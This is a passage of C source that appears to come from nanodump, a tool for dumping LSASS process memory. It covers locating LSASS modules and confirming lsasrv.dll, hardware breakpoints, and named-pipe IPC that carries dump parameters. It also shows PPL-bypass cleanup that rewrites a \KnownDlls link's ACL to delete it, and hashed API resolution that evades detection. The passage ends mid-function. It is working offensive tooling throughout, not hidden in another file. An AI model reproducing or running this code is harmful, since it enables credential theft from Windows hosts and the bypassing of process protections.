get_library_address(NTDLL_DLL, TRUE), 253 | RtlAddVectoredExceptionHandler_SW2_HASH, 254 | 0); 255 | if (!RtlAddVectoredExceptionHandler) 256 | { 257 | api_not_found("RtlAddVectoredExceptionHandler"); 258 | goto cleanup; 259 | } 260 | 261 | hHwBpHandler = RtlAddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)hwbp_handler); 262 | if (!hHwBpHandler) 263 | { 264 | function_failed("RtlAddVectoredExceptionHandler"); 265 | goto cleanup; 266 | } 267 | 268 | status = NtGetContextThread(NtCurrentThread(), &threadCtx); 269 | if (!NT_SUCCESS(status)) 270 | { 271 | syscall_failed("NtGetContextThread", status); 272 | goto cleanup; 273 | } 274 | 275 | enable_breakpoint(&threadCtx, address, DEBUG_REGISTER_INDEX); 276 | 277 | status = NtSetContextThread(NtCurrentThread(), &threadCtx); 278 | if (!NT_SUCCESS(status)) 279 | { 280 | syscall_failed("NtSetContextThread", status); 281 | goto cleanup; 282 | } 283 | 284 | *phHwBpHandler = hHwBpHandler; 285 | ret_val = TRUE; 286 | 287 | cleanup: 288 | return ret_val; 289 | } 290 | 291 | VOID unset_hwbp( 292 | HANDLE hHwBpHandler) 293 | { 294 | NTSTATUS status = STATUS_UNSUCCESSFUL; 295 | CONTEXT threadCtx = { 0 }; 296 | memset(&threadCtx, 0, sizeof(threadCtx)); 297 | threadCtx.ContextFlags = CONTEXT_ALL; 298 | ULONG ret_val = 0; 299 | RtlRemoveVectoredExceptionHandler_t RtlRemoveVectoredExceptionHandler = NULL; 300 | 301 | // find the address of RtlRemoveVectoredExceptionHandler dynamically 302 | RtlRemoveVectoredExceptionHandler = (RtlRemoveVectoredExceptionHandler_t)(ULONG_PTR)get_function_address( 303 | get_library_address(NTDLL_DLL, TRUE), 304 | RtlRemoveVectoredExceptionHandler_SW2_HASH, 305 | 0); 306 | if (!RtlRemoveVectoredExceptionHandler) 307 | { 308 | api_not_found("RtlRemoveVectoredExceptionHandler"); 309 | goto cleanup; 310 | } 311 | 312 | status = NtGetContextThread(NtCurrentThread(), &threadCtx); 313 | if (!NT_SUCCESS(status)) 314 | { 315 | syscall_failed("NtGetContextThread", status); 316 | goto cleanup; 317 | } 318 | 319 | clear_breakpoint(&threadCtx, DEBUG_REGISTER_INDEX); 320 | 321 | status = NtSetContextThread(NtCurrentThread(), &threadCtx); 322 | if (!NT_SUCCESS(status)) 323 | { 324 | syscall_failed("NtSetContextThread", status); 325 | goto cleanup; 326 | } 327 | 328 | ret_val = RtlRemoveVectoredExceptionHandler(hHwBpHandler); 329 | if (!ret_val) 330 | { 331 | function_failed("RtlRemoveVectoredExceptionHandler"); 332 | goto cleanup; 333 | } 334 | 335 | cleanup: 336 | return; 337 | } 338 | -------------------------------------------------------------------------------- /source/modules.c: -------------------------------------------------------------------------------- 1 | #include "modules.h" 2 | 3 | PVOID get_peb_address( 4 | IN HANDLE hProcess) 5 | { 6 | #ifdef SSP 7 | UNUSED(hProcess); 8 | // if nanodump is running as an SSP, 9 | // avoid calling NtQueryInformationProcess 10 | return (PVOID)READ_MEMLOC(PEB_OFFSET); 11 | #else 12 | PROCESS_BASIC_INFORMATION basic_info = { 0 }; 13 | basic_info.PebBaseAddress = 0; 14 | PROCESSINFOCLASS ProcessInformationClass = 0; 15 | NTSTATUS status = NtQueryInformationProcess( 16 | hProcess, 17 | ProcessInformationClass, 18 | &basic_info, 19 | sizeof(PROCESS_BASIC_INFORMATION), 20 | NULL); 21 | if (!NT_SUCCESS(status)) 22 | { 23 | syscall_failed("NtQueryInformationProcess", status); 24 | DPRINT_ERR("Could not get the PEB of the process"); 25 | return 0; 26 | } 27 | 28 | return basic_info.PebBaseAddress; 29 | #endif 30 | } 31 | 32 | PVOID get_module_list_address( 33 | IN HANDLE hProcess, 34 | IN BOOL is_lsass) 35 | { 36 | PVOID peb_address, ldr_pointer, ldr_address, module_list_pointer, ldr_entry_address; 37 | 38 | peb_address = get_peb_address(hProcess); 39 | if (!peb_address) 40 | return NULL; 41 | 42 | ldr_pointer = RVA(PVOID, peb_address, LDR_POINTER_OFFSET); 43 | 44 | ldr_address = 0; 45 | NTSTATUS status = NtReadVirtualMemory( 46 | hProcess, 47 | (PVOID)ldr_pointer, 48 | &ldr_address, 49 | sizeof(PVOID), 50 | NULL); 51 | if (!NT_SUCCESS(status) && !is_lsass) 52 | { 53 | // failed to read the memory of some process, simply continue 54 | return NULL; 55 | } 56 | if (!NT_SUCCESS(status) && is_lsass) 57 | { 58 | if (status == STATUS_ACCESS_DENIED) 59 | { 60 | PRINT_ERR("Failed to read " LSASS ", status: STATUS_ACCESS_DENIED"); 61 | } 62 | else 63 | { 64 | PRINT_ERR("Failed to read " LSASS ", status: 0x%lx", status); 65 | } 66 | return NULL; 67 | } 68 | 69 | module_list_pointer = RVA(PVOID, ldr_address, MODULE_LIST_POINTER_OFFSET); 70 | 71 | ldr_entry_address = NULL; 72 | status = NtReadVirtualMemory( 73 | hProcess, 74 | (PVOID)module_list_pointer, 75 | &ldr_entry_address, 76 | sizeof(PVOID), 77 | NULL); 78 | if (!NT_SUCCESS(status)) 79 | { 80 | syscall_failed("NtReadVirtualMemory", status); 81 | DPRINT_ERR("Could not get the address of the module list"); 82 | return NULL; 83 | } 84 | DPRINT( 85 | "Got the address of the module list: 0x%p", 86 | ldr_entry_address); 87 | return ldr_entry_address; 88 | } 89 | 90 | Pmodule_info add_new_module( 91 | IN HANDLE hProcess, 92 | IN struct LDR_DATA_TABLE_ENTRY* ldr_entry) 93 | { 94 | DWORD name_size; 95 | Pmodule_info new_module = intAlloc(sizeof(module_info)); 96 | if (!new_module) 97 | { 98 | malloc_failed(); 99 | DPRINT_ERR("Could not add new module"); 100 | return NULL; 101 | } 102 | new_module->next = NULL; 103 | new_module->dll_base = (ULONG64)(ULONG_PTR)ldr_entry->DllBase; 104 | new_module->size_of_image = ldr_entry->SizeOfImage; 105 | new_module->TimeDateStamp = ldr_entry->TimeDateStamp; 106 | new_module->CheckSum = ldr_entry->CheckSum; 107 | 108 | name_size = ldr_entry->FullDllName.Length > sizeof(new_module->dll_name) ? 109 | sizeof(new_module->dll_name) : ldr_entry->FullDllName.Length; 110 | 111 | // read the full path of the DLL 112 | NTSTATUS status = NtReadVirtualMemory( 113 | hProcess, 114 | (PVOID)ldr_entry->FullDllName.Buffer, 115 | new_module->dll_name, 116 | name_size, 117 | NULL); 118 | if (!NT_SUCCESS(status)) 119 | { 120 | syscall_failed("NtReadVirtualMemory", status); 121 | DPRINT_ERR("Could not add new module"); 122 | return NULL; 123 | } 124 | return new_module; 125 | } 126 | 127 | BOOL read_ldr_entry( 128 | IN HANDLE hProcess, 129 | IN PVOID ldr_entry_address, 130 | OUT struct LDR_DATA_TABLE_ENTRY* ldr_entry, 131 | OUT wchar_t* base_dll_name) 132 | { 133 | // read the entry 134 | NTSTATUS status = NtReadVirtualMemory( 135 | hProcess, 136 | ldr_entry_address, 137 | ldr_entry, 138 | sizeof(struct LDR_DATA_TABLE_ENTRY), 139 | NULL); 140 | if (!NT_SUCCESS(status)) 141 | { 142 | syscall_failed("NtReadVirtualMemory", status); 143 | DPRINT_ERR( 144 | "Could not read module information at: 0x%p", 145 | ldr_entry_address); 146 | return FALSE; 147 | } 148 | // initialize base_dll_name with all null-bytes 149 | memset(base_dll_name, 0, MAX_PATH); 150 | // read the dll name 151 | status = NtReadVirtualMemory( 152 | hProcess, 153 | (PVOID)ldr_entry->BaseDllName.Buffer, 154 | base_dll_name, 155 | ldr_entry->BaseDllName.Length, 156 | NULL); 157 | if (!NT_SUCCESS(status)) 158 | { 159 | syscall_failed("NtReadVirtualMemory", status); 160 | DPRINT_ERR( 161 | "Could not read module information at: 0x%p", 162 | ldr_entry->BaseDllName.Buffer); 163 | return FALSE; 164 | } 165 | return TRUE; 166 | } 167 | 168 | Pmodule_info find_modules( 169 | IN HANDLE hProcess, 170 | IN wchar_t* important_modules[], 171 | IN int number_of_important_modules, 172 | IN BOOL is_lsass) 173 | { 174 | // module list 175 | Pmodule_info module_list = NULL; 176 | 177 | // find the address of LDR_DATA_TABLE_ENTRY 178 | PVOID ldr_entry_address = get_module_list_address( 179 | hProcess, 180 | is_lsass); 181 | if (!ldr_entry_address) 182 | return NULL; 183 | 184 | PVOID first_ldr_entry_address = NULL; 185 | SHORT dlls_found = 0; 186 | BOOL lsasrv_found = FALSE; 187 | struct LDR_DATA_TABLE_ENTRY ldr_entry; 188 | wchar_t base_dll_name[MAX_PATH]; 189 | // loop over each DLL loaded, looking for the important modules 190 | while (dlls_found < number_of_important_modules) 191 | { 192 | // read the current entry 193 | BOOL success = read_ldr_entry( 194 | hProcess, 195 | ldr_entry_address, 196 | &ldr_entry, 197 | base_dll_name); 198 | if (!success) 199 | return NULL; 200 | 201 | if (!first_ldr_entry_address) 202 | first_ldr_entry_address = ldr_entry.InLoadOrderLinks.Blink; 203 | 204 | // loop over each important module and see if we have a match 205 | for (int i = 0; i < number_of_important_modules; i++) 206 | { 207 | // compare the DLLs' name, case insensitive 208 | if (!_wcsicmp(important_modules[i], base_dll_name)) 209 | { 210 | DPRINT( 211 | "Found %ls at 0x%p", 212 | base_dll_name, 213 | ldr_entry_address); 214 | // check if the DLL is 'lsasrv.dll' so that we know the process is indeed LSASS 215 | if (!_wcsicmp(important_modules[i], LSASRV_DLL)) 216 | lsasrv_found = TRUE; 217 | 218 | // add the new module to the linked list 219 | Pmodule_info new_module = add_new_module( 220 | hProcess, 221 | &ldr_entry); 222 | if (!new_module) 223 | return NULL; 224 | 225 | if (!module_list) 226 | { 227 | module_list = new_module; 228 | } 229 | else 230 | { 231 | Pmodule_info last_module = module_list; 232 | while (last_module->next) 233 | last_module = last_module->next; 234 | last_module->next = new_module; 235 | } 236 | dlls_found++; 237 | break; 238 | } 239 | } 240 | 241 | // set the next entry as the current entry 242 | ldr_entry_address = ldr_entry.InLoadOrderLinks.Flink; 243 | // if we are back at the beginning, break 244 | if (ldr_entry_address == first_ldr_entry_address) 245 | break; 246 | } 247 | // the LSASS process should always have 'lsasrv.dll' loaded 248 | if (is_lsass && !lsasrv_found) 249 | { 250 | PRINT_ERR("The selected process is not " LSASS "."); 251 | return NULL; 252 | } 253 | return module_list; 254 | } 255 | -------------------------------------------------------------------------------- /source/output.c: -------------------------------------------------------------------------------- 1 | #include "output.h" 2 | 3 | #if defined(DDL) && defined(PPL_DUMP) 4 | 5 | #ifndef intAlloc 6 | #define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) 7 | #endif 8 | #ifndef intFree 9 | #define intFree(addr) HeapFree(GetProcessHeap(), 0, addr) 10 | #endif 11 | #ifndef DATA_FREE 12 | #define DATA_FREE(d, l) \ 13 | if (d) { \ 14 | memset(d, 0, l); \ 15 | intFree(d); \ 16 | d = NULL; \ 17 | } 18 | #endif 19 | 20 | VOID LogToConsole( 21 | IN LPCSTR pwszFormat, 22 | ...) 23 | { 24 | // 25 | // The process in which we load this DLL does not have a console so we need to attach to the 26 | // parent process' console. To do so, we can call AttachConsole with the special value 27 | // ATTACH_PARENT_PROCESS. Then, we can get the STDOUT handle. This handle is stored will be 28 | // stored as a global variable so we need to initialize it only once. 29 | // 30 | AttachConsole(ATTACH_PARENT_PROCESS); 31 | 32 | // 33 | // Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use 34 | // the STDOUT handle we got previously. 35 | // 36 | DWORD dwOutputStringSize = 0; 37 | LPSTR pwszOutputString = NULL; 38 | va_list va; 39 | 40 | va_start(va, pwszFormat); 41 | 42 | dwOutputStringSize = _vscprintf(pwszFormat, va) + 2; // \0 43 | pwszOutputString = intAlloc(dwOutputStringSize); 44 | 45 | if (pwszOutputString) 46 | { 47 | vsprintf_s(pwszOutputString, dwOutputStringSize, pwszFormat, va); 48 | 49 | WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), pwszOutputString, (DWORD)strlen(pwszOutputString), NULL, NULL); 50 | 51 | DATA_FREE(pwszOutputString, dwOutputStringSize); 52 | } 53 | 54 | va_end(va); 55 | } 56 | #endif 57 | -------------------------------------------------------------------------------- /source/pipe.c: -------------------------------------------------------------------------------- 1 | #include "pipe.h" 2 | 3 | #if defined(PPL_MEDIC) || defined(SSP) 4 | 5 | BOOL server_create_named_pipe( 6 | IN LPCWSTR pipe_name, 7 | IN BOOL async, 8 | OUT PHANDLE hPipe) 9 | { 10 | BOOL ret_val = FALSE; 11 | BOOL success = FALSE; 12 | LPWSTR pwszPipeName = NULL; 13 | SECURITY_DESCRIPTOR sd = { 0 }; 14 | SECURITY_ATTRIBUTES sa = { 0 }; 15 | DWORD dwOpenMode = 0; 16 | DWORD dwPipeMode = 0; 17 | DWORD dwMaxInstances = 0; 18 | 19 | InitializeSecurityDescriptor_t InitializeSecurityDescriptor = NULL; 20 | ConvertStringSecurityDescriptorToSecurityDescriptorW_t ConvertStringSecurityDescriptorToSecurityDescriptorW = NULL; 21 | CreateNamedPipeW_t CreateNamedPipeW = NULL; 22 | 23 | InitializeSecurityDescriptor = (InitializeSecurityDescriptor_t)(ULONG_PTR)get_function_address( 24 | get_library_address(ADVAPI32_DLL, TRUE), 25 | InitializeSecurityDescriptor_SW2_HASH, 26 | 0); 27 | if (!InitializeSecurityDescriptor) 28 | { 29 | api_not_found("InitializeSecurityDescriptor"); 30 | goto cleanup; 31 | } 32 | 33 | ConvertStringSecurityDescriptorToSecurityDescriptorW = (ConvertStringSecurityDescriptorToSecurityDescriptorW_t)(ULONG_PTR)get_function_address( 34 | get_library_address(ADVAPI32_DLL, TRUE), 35 | ConvertStringSecurityDescriptorToSecurityDescriptorW_SW2_HASH, 36 | 0); 37 | if (!ConvertStringSecurityDescriptorToSecurityDescriptorW) 38 | { 39 | api_not_found("ConvertStringSecurityDescriptorToSecurityDescriptorW"); 40 | goto cleanup; 41 | } 42 | 43 | CreateNamedPipeW = (CreateNamedPipeW_t)(ULONG_PTR)get_function_address( 44 | get_library_address(KERNEL32_DLL, TRUE), 45 | CreateNamedPipeW_SW2_HASH, 46 | 0); 47 | if (!CreateNamedPipeW) 48 | { 49 | api_not_found("CreateNamedPipeW"); 50 | goto cleanup; 51 | } 52 | 53 | pwszPipeName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR)); 54 | if (!pwszPipeName) 55 | { 56 | malloc_failed(); 57 | goto cleanup; 58 | } 59 | 60 | success = InitializeSecurityDescriptor( 61 | &sd, 62 | SECURITY_DESCRIPTOR_REVISION); 63 | if (!success) 64 | { 65 | function_failed("InitializeSecurityDescriptor"); 66 | goto cleanup; 67 | } 68 | 69 | success = ConvertStringSecurityDescriptorToSecurityDescriptorW( 70 | L"D:(A;OICI;GA;;;WD)", 71 | SDDL_REVISION_1, 72 | &((&sa)->lpSecurityDescriptor), 73 | NULL); 74 | if (!success) 75 | { 76 | function_failed("ConvertStringSecurityDescriptorToSecurityDescriptorW"); 77 | goto cleanup; 78 | } 79 | 80 | swprintf_s(pwszPipeName, MAX_PATH, L"\\\\.\\pipe\\%ws", pipe_name); 81 | 82 | dwOpenMode = PIPE_ACCESS_DUPLEX | (async ? FILE_FLAG_OVERLAPPED : 0); 83 | dwPipeMode = PIPE_TYPE_BYTE | PIPE_WAIT; 84 | dwMaxInstances = PIPE_UNLIMITED_INSTANCES; 85 | 86 | *hPipe = CreateNamedPipeW( 87 | pwszPipeName, 88 | dwOpenMode, 89 | dwPipeMode, 90 | dwMaxInstances, 91 | PAGE_SIZE, 92 | PAGE_SIZE, 93 | 0, 94 | &sa); 95 | if (*hPipe == INVALID_HANDLE_VALUE) 96 | { 97 | function_failed("CreateNamedPipeW"); 98 | goto cleanup; 99 | } 100 | 101 | ret_val = TRUE; 102 | 103 | cleanup: 104 | if (pwszPipeName) 105 | intFree(pwszPipeName); 106 | 107 | return ret_val; 108 | } 109 | 110 | BOOL client_connect_to_named_pipe( 111 | IN LPWSTR pipe_name, 112 | OUT PHANDLE hPipe) 113 | { 114 | BOOL ret_val = FALSE; 115 | LPWSTR pwszPipeName = NULL; 116 | 117 | CreateFileW_t CreateFileW = NULL; 118 | 119 | CreateFileW = (CreateFileW_t)(ULONG_PTR)get_function_address( 120 | get_library_address(KERNEL32_DLL, TRUE), 121 | CreateFileW_SW2_HASH, 122 | 0); 123 | if (!CreateFileW) 124 | { 125 | api_not_found("CreateFileW"); 126 | goto cleanup; 127 | } 128 | 129 | pwszPipeName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR)); 130 | if (!pwszPipeName) 131 | { 132 | malloc_failed(); 133 | goto cleanup; 134 | } 135 | 136 | swprintf_s(pwszPipeName, MAX_PATH, L"\\\\.\\pipe\\%ws", pipe_name); 137 | 138 | *hPipe = CreateFileW(pwszPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 139 | if (*hPipe == INVALID_HANDLE_VALUE) 140 | { 141 | function_failed("CreateFileW"); 142 | goto cleanup; 143 | } 144 | 145 | ret_val = TRUE; 146 | 147 | cleanup: 148 | if (pwszPipeName) 149 | intFree(pwszPipeName); 150 | 151 | return ret_val; 152 | } 153 | 154 | BOOL server_listen_on_named_pipe( 155 | IN HANDLE hPipe) 156 | { 157 | BOOL ret_val = FALSE; 158 | BOOL client_connected = FALSE; 159 | 160 | ConnectNamedPipe_t ConnectNamedPipe = NULL; 161 | 162 | ConnectNamedPipe = (ConnectNamedPipe_t)(ULONG_PTR)get_function_address( 163 | get_library_address(KERNEL32_DLL, TRUE), 164 | ConnectNamedPipe_SW2_HASH, 165 | 0); 166 | if (!ConnectNamedPipe) 167 | { 168 | api_not_found("ConnectNamedPipe"); 169 | goto cleanup; 170 | } 171 | 172 | client_connected = ConnectNamedPipe(hPipe, NULL); 173 | if (!client_connected && GetLastError() != ERROR_PIPE_CONNECTED) 174 | { 175 | function_failed("ConnectNamedPipe"); 176 | goto cleanup; 177 | } 178 | 179 | ret_val = TRUE; 180 | 181 | cleanup: 182 | return ret_val; 183 | } 184 | 185 | BOOL read_data_from_pipe( 186 | IN HANDLE hPipe, 187 | OUT PVOID* data_bytes, 188 | OUT PDWORD data_size) 189 | { 190 | BOOL ret_val = FALSE; 191 | BOOL success = FALSE; 192 | DWORD dwBytesRead = 0; 193 | 194 | ReadFile_t ReadFile = NULL; 195 | 196 | ReadFile = (ReadFile_t)(ULONG_PTR)get_function_address( 197 | get_library_address(KERNEL32_DLL, TRUE), 198 | ReadFile_SW2_HASH, 199 | 0); 200 | if (!ReadFile) 201 | { 202 | api_not_found("ReadFile"); 203 | goto cleanup; 204 | } 205 | 206 | *data_bytes = intAlloc(PAGE_SIZE); 207 | if (!*data_bytes) 208 | { 209 | malloc_failed(); 210 | goto cleanup; 211 | } 212 | 213 | success = ReadFile(hPipe, *data_bytes, PAGE_SIZE, &dwBytesRead, NULL); 214 | if (!success || dwBytesRead == 0) 215 | { 216 | function_failed("ReadFile"); 217 | goto cleanup; 218 | } 219 | 220 | if (data_size) 221 | *data_size = dwBytesRead; 222 | 223 | ret_val = TRUE; 224 | 225 | cleanup: 226 | if (!ret_val && *data_bytes) 227 | { 228 | intFree(*data_bytes); 229 | *data_bytes = NULL; 230 | } 231 | 232 | return ret_val; 233 | } 234 | 235 | BOOL server_recv_arguments_from_pipe( 236 | IN HANDLE hPipe, 237 | OUT LPSTR* dump_path, 238 | OUT PBOOL use_valid_sig, 239 | OUT PBOOL elevate_handle) 240 | { 241 | BOOL ret_val = FALSE; 242 | BOOL success = FALSE; 243 | PIPC_MSG req = NULL; 244 | 245 | req = intAlloc(PAGE_SIZE); 246 | if (!req) 247 | { 248 | malloc_failed(); 249 | goto cleanup; 250 | } 251 | 252 | success = read_data_from_pipe( 253 | hPipe, 254 | (PVOID)&req, 255 | NULL); 256 | if (!success) 257 | goto cleanup; 258 | 259 | if (req->Type != msg_type_parameters) 260 | { 261 | DPRINT_ERR("Invalid message type"); 262 | goto cleanup; 263 | } 264 | 265 | if (dump_path) 266 | { 267 | *dump_path = intAlloc(MAX_PATH + 1); 268 | if (!*dump_path) 269 | { 270 | malloc_failed(); 271 | goto cleanup; 272 | } 273 | 274 | memcpy(*dump_path, req->p.Params.dump_path, MAX_PATH + 1); 275 | } 276 | if (use_valid_sig) 277 | *use_valid_sig = req->p.Params.use_valid_sig; 278 | if (elevate_handle) 279 | *elevate_handle = req->p.Params.elevate_handle; 280 | 281 | ret_val = TRUE; 282 | 283 | cleanup: 284 | if (req) 285 | intFree(req); 286 | 287 | return ret_val; 288 | } 289 | 290 | BOOL write_data_to_pipe( 291 | IN HANDLE hPipe, 292 | IN PVOID data_bytes, 293 | IN DWORD data_size) 294 | { 295 | BOOL ret_val = FALSE; 296 | BOOL success = FALSE; 297 | DWORD dwBytesWritten = 0; 298 | 299 | WriteFile_t WriteFile = NULL; 300 | 301 | WriteFile = (WriteFile_t)(ULONG_PTR)get_function_address( 302 | get_library_address(KERNEL32_DLL, TRUE), 303 | WriteFile_SW2_HASH, 304 | 0); 305 | if (!WriteFile) 306 | { 307 | api_not_found("WriteFile"); 308 | goto cleanup; 309 | } 310 | 311 | success = WriteFile(hPipe, data_bytes, data_size, &dwBytesWritten, NULL); 312 | if (!success && GetLastError() != ERROR_IO_PENDING) 313 | { 314 | function_failed("WriteFile"); 315 | goto cleanup; 316 | } 317 | 318 | ret_val = TRUE; 319 | 320 | cleanup: 321 | return ret_val; 322 | } 323 | 324 | BOOL client_send_arguments_from_pipe( 325 | IN HANDLE hPipe, 326 | IN LPSTR dump_path, 327 | IN BOOL use_valid_sig, 328 | IN BOOL elevate_handle) 329 | { 330 | BOOL ret_val = FALSE; 331 | BOOL success = FALSE; 332 | PIPC_MSG ParamsMsg = NULL; 333 | 334 | ParamsMsg = intAlloc(sizeof(IPC_MSG)); 335 | if (!ParamsMsg) 336 | { 337 | malloc_failed(); 338 | goto cleanup; 339 | } 340 | 341 | ParamsMsg->Type = msg_type_parameters; 342 | memcpy(ParamsMsg->p.Params.dump_path, dump_path, MAX_PATH + 1 ); 343 | ParamsMsg->p.Params.use_valid_sig = use_valid_sig; 344 | ParamsMsg->p.Params.elevate_handle = elevate_handle; 345 | 346 | success = write_data_to_pipe( 347 | hPipe, 348 | ParamsMsg, 349 | sizeof(*ParamsMsg)); 350 | if (!success) 351 | goto cleanup; 352 | 353 | ret_val = TRUE; 354 | 355 | cleanup: 356 | if (ParamsMsg) 357 | intFree(ParamsMsg); 358 | 359 | return ret_val; 360 | } 361 | 362 | BOOL server_disconnect_pipe( 363 | IN HANDLE hPipe) 364 | { 365 | BOOL ret_val = FALSE; 366 | BOOL success = FALSE; 367 | 368 | if (!hPipe || hPipe == INVALID_HANDLE_VALUE) 369 | return TRUE; 370 | 371 | DisconnectNamedPipe_t DisconnectNamedPipe = NULL; 372 | 373 | DisconnectNamedPipe = (DisconnectNamedPipe_t)(ULONG_PTR)get_function_address( 374 | get_library_address(KERNEL32_DLL, TRUE), 375 | DisconnectNamedPipe_SW2_HASH, 376 | 0); 377 | if (!DisconnectNamedPipe) 378 | { 379 | api_not_found("DisconnectNamedPipe"); 380 | goto cleanup; 381 | } 382 | 383 | success = DisconnectNamedPipe(hPipe); 384 | if (!success) 385 | { 386 | function_failed("DisconnectNamedPipe"); 387 | goto cleanup; 388 | } 389 | 390 | ret_val = TRUE; 391 | 392 | cleanup: 393 | return ret_val; 394 | } 395 | 396 | BOOL server_send_success( 397 | IN HANDLE hPipe, 398 | IN BOOL succeded) 399 | { 400 | BOOL ret_val = FALSE; 401 | BOOL success = FALSE; 402 | PIPC_MSG ParamsMsg = NULL; 403 | 404 | ParamsMsg = intAlloc(sizeof(IPC_MSG)); 405 | if (!ParamsMsg) 406 | { 407 | malloc_failed(); 408 | goto cleanup; 409 | } 410 | 411 | ParamsMsg->Type = msg_type_result; 412 | ParamsMsg->p.Result.succeded = succeded; 413 | 414 | success = write_data_to_pipe( 415 | hPipe, 416 | ParamsMsg, 417 | sizeof(*ParamsMsg)); 418 | if (!success) 419 | goto cleanup; 420 | 421 | ret_val = TRUE; 422 | 423 | cleanup: 424 | if (ParamsMsg) 425 | intFree(ParamsMsg); 426 | 427 | return ret_val; 428 | } 429 | 430 | BOOL client_recv_success( 431 | IN HANDLE hPipe, 432 | OUT PBOOL succeded) 433 | { 434 | BOOL ret_val = FALSE; 435 | BOOL success = FALSE; 436 | PIPC_MSG req = NULL; 437 | 438 | success = read_data_from_pipe( 439 | hPipe, 440 | (PVOID)&req, 441 | NULL); 442 | if (!success) 443 | goto cleanup; 444 | 445 | if (req->Type != msg_type_result) 446 | { 447 | DPRINT_ERR("Invalid message type"); 448 | goto cleanup; 449 | } 450 | 451 | *succeded = req->p.Result.succeded; 452 | 453 | ret_val = TRUE; 454 | 455 | cleanup: 456 | if (req) 457 | intFree(req); 458 | 459 | return ret_val; 460 | } 461 | 462 | #endif 463 | -------------------------------------------------------------------------------- /source/ppl/cleanup.c: -------------------------------------------------------------------------------- 1 | #include "ppl/cleanup.h" 2 | 3 | BOOL get_current_dll_filename( 4 | OUT LPCWSTR* ppwszDllName) 5 | { 6 | // get the address of this code section 7 | PVOID IP = getIP(); 8 | PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET); 9 | PND_PEB_LDR_DATA Ldr = Peb->Ldr; 10 | PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink; 11 | PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink; 12 | 13 | // loop over each loaded DLL 14 | for (; Entry != FirstEntry; Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink) 15 | { 16 | // check if this code section is inside of this DLL 17 | 18 | if ((ULONG_PTR)Entry->DllBase > (ULONG_PTR)IP) 19 | continue; 20 | 21 | if (RVA(ULONG_PTR, Entry->DllBase, Entry->SizeOfImage) <= (ULONG_PTR)IP) 22 | continue; 23 | 24 | // save the DLL name 25 | *ppwszDllName = Entry->BaseDllName.Buffer; 26 | return TRUE; 27 | } 28 | 29 | return FALSE; 30 | } 31 | 32 | BOOL delete_known_dll_entry(VOID) 33 | { 34 | BOOL bReturnValue = FALSE; 35 | 36 | LPCWSTR pwszDllName = NULL; 37 | BOOL success; 38 | NTSTATUS status = 0; 39 | HANDLE hLink = NULL; 40 | LPWSTR pwszLinkPath = NULL; 41 | UNICODE_STRING name = { 0 }; 42 | OBJECT_ATTRIBUTES oa = { 0 }; 43 | 44 | SECURITY_DESCRIPTOR sd = { 0 }; 45 | 46 | SetKernelObjectSecurity_t SetKernelObjectSecurity; 47 | SetKernelObjectSecurity = (SetKernelObjectSecurity_t)(ULONG_PTR)get_function_address( 48 | get_library_address(ADVAPI32_DLL, TRUE), 49 | SetKernelObjectSecurity_SW2_HASH, 50 | 0); 51 | if (!SetKernelObjectSecurity) 52 | { 53 | api_not_found("SetKernelObjectSecurity"); 54 | goto end; 55 | } 56 | 57 | InitializeSecurityDescriptor_t InitializeSecurityDescriptor; 58 | InitializeSecurityDescriptor = (InitializeSecurityDescriptor_t)(ULONG_PTR)get_function_address( 59 | get_library_address(ADVAPI32_DLL, TRUE), 60 | InitializeSecurityDescriptor_SW2_HASH, 61 | 0); 62 | if (!InitializeSecurityDescriptor) 63 | { 64 | api_not_found("InitializeSecurityDescriptor"); 65 | goto end; 66 | } 67 | SetSecurityDescriptorDacl_t SetSecurityDescriptorDacl; 68 | SetSecurityDescriptorDacl = (SetSecurityDescriptorDacl_t)(ULONG_PTR)get_function_address( 69 | get_library_address(ADVAPI32_DLL, TRUE), 70 | SetSecurityDescriptorDacl_SW2_HASH, 71 | 0); 72 | if (!SetSecurityDescriptorDacl) 73 | { 74 | api_not_found("SetSecurityDescriptorDacl"); 75 | goto end; 76 | } 77 | 78 | success = get_current_dll_filename(&pwszDllName); 79 | if (!success) 80 | goto end; 81 | 82 | // 83 | // Build the path of the symbolic link object to delete. The name of the DLL can be determined 84 | // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as 85 | // '\KnownDlls\DPAPI.dll'. 86 | // 87 | pwszLinkPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR)); 88 | if (!pwszLinkPath) 89 | { 90 | malloc_failed(); 91 | goto end; 92 | } 93 | 94 | wcsncpy(pwszLinkPath, L"\\KnownDlls\\", MAX_PATH); 95 | wcsncat(pwszLinkPath, pwszDllName, MAX_PATH); 96 | 97 | DPRINT("Object to delete: %ls", pwszLinkPath); 98 | 99 | name.Buffer = pwszLinkPath; 100 | name.Length = (USHORT)wcsnlen(name.Buffer, MAX_PATH);; 101 | name.Length *= 2; 102 | name.MaximumLength = name.Length + 2; 103 | InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL); 104 | 105 | // 106 | // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete 107 | // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus 108 | // get an "Access denied" error. What we can do though is open the symbolic link object with 109 | // WRITE_DAC access in order to change the ACL of the object. 110 | // 111 | status = NtOpenSymbolicLinkObject( 112 | &hLink, 113 | WRITE_DAC, 114 | &oa); 115 | if (!NT_SUCCESS(status)) 116 | { 117 | syscall_failed("NtOpenSymbolicLinkObject", status); 118 | goto end; 119 | } 120 | 121 | DPRINT("NtOpenSymbolicLinkObject('%ls', WRITE_DAC) OK", pwszLinkPath); 122 | 123 | // 124 | // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone 125 | // access to the object but that's not really an issue because we'll delete it right after. 126 | // 127 | success = InitializeSecurityDescriptor( 128 | &sd, 129 | SECURITY_DESCRIPTOR_REVISION); 130 | if (!success) 131 | { 132 | 